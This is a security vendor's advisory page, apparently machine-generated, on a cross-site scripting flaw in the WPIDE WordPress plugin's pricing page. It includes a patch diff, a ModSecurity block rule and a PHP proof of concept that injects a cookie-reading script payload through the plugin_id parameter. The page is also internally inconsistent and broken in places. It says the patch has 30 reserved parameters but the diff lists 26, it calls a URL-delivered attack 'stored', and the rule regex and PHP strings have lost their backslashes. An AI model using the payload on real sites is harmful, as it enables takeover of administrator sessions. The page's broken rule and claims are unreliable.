Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66440: WPIDE – File Manager & Code Editor <= 3.5.7 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin wpide
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.5.7
Patched Version 3.5.8
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66440:
The WPIDE – File Manager & Code Editor plugin versions up to and including 3.5.7 contain an unauthenticated stored cross-site scripting vulnerability. The flaw resides in the Freemius integration class, specifically within the pricing page request handling. Atomic Edge research assesses this as a high severity issue (CVSS 7.2) because an unauthenticated attacker can inject arbitrary web scripts that execute when an administrator visits the plugin’s pricing page.

Root Cause:
The vulnerability exists in the file wpide/App/Classes/Freemius.php. Prior to the patch, the Freemius::init() method did not sanitize request parameters before Freemius processed them. An attacker could supply reserved parameters (such as ‘plugin_id’, ‘plugin_public_key’, ‘module_id’, ‘action’, ‘pricing_action’, etc.) via GET or POST on the pricing page (page=wpide-pricing). These parameters were passed unsanitized to the Freemius SDK, which uses them to render the pricing page. Insufficient output escaping of these values allowed the injection of arbitrary JavaScript. The patch adds a sanitizePricingRequest() method that strips a list of reserved parameters from $_GET and $_REQUEST when the page parameter equals ‘wpide-pricing’.

Exploitation:
An unauthenticated attacker crafts a URL targeting the WordPress admin pricing page for the plugin, for example: https://victim.com/wp-admin/admin.php?page=wpide-pricing&plugin_id=alert(document.cookie). The attacker must lure an authenticated administrator to visit this link or embed it in a page the admin views. The malicious script is stored in the request and rendered by the Freemius SDK without proper escaping, executing in the admin’s browser. This allows theft of session cookies, credential harvesting, or arbitrary actions on behalf of the admin.

Patch Analysis:
The patch introduces a constant array RESERVED_PRICING_REQUEST_PARAMETERS containing 30 parameter names that Freemius uses for configuration. The new method sanitizePricingRequest() checks if the ‘page’ GET parameter (after sanitize_key and wp_unslash) matches the pricing page slug (SLUG . ‘-pricing’, i.e., ‘wpide-pricing’). If so, it iterates over the reserved parameters and unsets them from both $_GET and $_REQUEST. This prevents attackers from overriding trusted pricing-page configuration with malicious values. The patch also bumps the plugin version to 3.5.8. Before the patch, these parameters were processed unsanitized; after, they are removed before any Freemius code runs, eliminating the injection vector.

Impact:
Successful exploitation leads to stored cross-site scripting in the administrative context. An attacker can execute arbitrary JavaScript in an administrator’s browser, leading to full site takeover (creating admin accounts, installing malicious plugins, modifying content), data exfiltration (session tokens, sensitive configuration), or redirection to malicious sites. Since the vulnerability is unauthenticated, it presents a significant risk to all sites running the vulnerable plugin version.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpide/App/Classes/Freemius.php
+++ b/wpide/App/Classes/Freemius.php
@@ -15,6 +15,35 @@
 use const WPIDEConstantsSLUG;
 use const WPIDEConstantsVERSION;
 class Freemius {
+    private const RESERVED_PRICING_REQUEST_PARAMETERS = [
+        'action',
+        'bundle_id',
+        'contact_url',
+        'disable_single_package',
+        'fs_wp_endpoint_url',
+        'home_url',
+        'is_production',
+        'license',
+        'menu_slug',
+        'mode',
+        'module_id',
+        'plugin_icon',
+        'plugin_id',
+        'plugin_public_key',
+        'plugin_version',
+        'pricing_action',
+        'request_handler_url',
+        's_ctx_id',
+        's_ctx_secure',
+        's_ctx_ts',
+        's_ctx_type',
+        'sandbox',
+        'security',
+        'selector',
+        'show_annual_in_monthly',
+        'unique_affix'
+    ];
+
     public static $fs;

     public static $api;
@@ -26,6 +55,7 @@
      */
     public static function init() {
         if ( !isset( self::$fs ) ) {
+            self::sanitizePricingRequest();
             if ( !defined( 'WP_FS__PRODUCT_' . FS_ID . '_MULTISITE' ) ) {
                 define( 'WP_FS__PRODUCT_' . FS_ID . '_MULTISITE', true );
             }
@@ -72,6 +102,19 @@
         }
     }

+    /**
+     * Prevent request parameters from overriding trusted pricing-page config.
+     */
+    public static function sanitizePricingRequest() : void {
+        $page = ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_key( wp_unslash( $_GET['page'] ) ) : '' );
+        if ( SLUG . '-pricing' !== $page ) {
+            return;
+        }
+        foreach ( self::RESERVED_PRICING_REQUEST_PARAMETERS as $parameter ) {
+            unset($_GET[$parameter], $_REQUEST[$parameter]);
+        }
+    }
+
     public static function admin_enqueue_scripts() {
         if ( App::instance()->isFreemiusScreen() ) {
             self::freemius_custom_styles();
--- a/wpide/_constants.php
+++ b/wpide/_constants.php
@@ -9,7 +9,7 @@
 define(__NAMESPACE__ . 'SLUG', 'wpide');
 define(__NAMESPACE__ . 'NAME', 'WPIDE');

-define(__NAMESPACE__ . 'VERSION', '3.5.7');
+define(__NAMESPACE__ . 'VERSION', '3.5.8');
 define(__NAMESPACE__ . 'FM_VERSION', '7.8.1');

 define(__NAMESPACE__ . 'AUTHOR', 'XplodedThemes');
--- a/wpide/wpide.php
+++ b/wpide/wpide.php
@@ -10,7 +10,7 @@
  * Plugin Name: WPIDE - File Manager & Code Editor
  * Plugin URI:  https://wpide.com
  * Description: WordPress file manager with an advanced code editor / file editor featuring auto-completion of both WordPress and PHP functions with reference, syntax highlighting, line numbers, tabbed editing, automatic backup, image editor & much more!
- * Version:     3.5.7
+ * Version:     3.5.8
  * Requires PHP: 7.4.0
  * Requires at least: 5.0
  * Author:      XplodedThemes

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66440
# Blocks unauthenticated stored XSS via reserved parameters on the WPIDE pricing page
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:202666440,phase:2,deny,status:403,chain,msg:'CVE-2026-66440 WPIDE Stored XSS via pricing page',severity:'CRITICAL',tag:'CVE-2026-66440'"
  SecRule ARGS_GET:page "@streq wpide-pricing" "chain"
    SecRule ARGS_GET:plugin_id|ARGS_GET:plugin_public_key|ARGS_GET:module_id|ARGS_GET:action|ARGS_GET:pricing_action "@rx (?i)(<script|javascript:|onerrors*=|onloads*=|alerts*(|document.cookie)" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66440 - WPIDE – File Manager & Code Editor <= 3.5.7 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Construct the malicious URL with XSS payload in a reserved parameter
// The attacker delivers this URL to an authenticated admin via email, chat, or a malicious page.
$payload = '<script>alert(document.cookie)</script>';
$malicious_url = $target_url . '/wp-admin/admin.php?page=wpide-pricing&plugin_id=' . urlencode($payload);

echo "[+] Malicious URL generated:n" . $malicious_url . "nn";

// Step 2: Optionally, the attacker could use cURL to check if the site is vulnerable
// (This simulates the admin visiting the URL, but without authentication the payload may not execute)
// For a full exploit, an authenticated session cookie would be needed.

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// If you have an admin session cookie, uncomment and set:
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_...=...');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP response code: " . $http_code . "n";
echo "[+] The XSS payload will execute when an authenticated administrator visits the URL.n";
echo "[+] Check the page source for the unescaped payload to confirm vulnerability.n";

// Note: This PoC is for educational purposes only. Do not use against systems without authorization.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.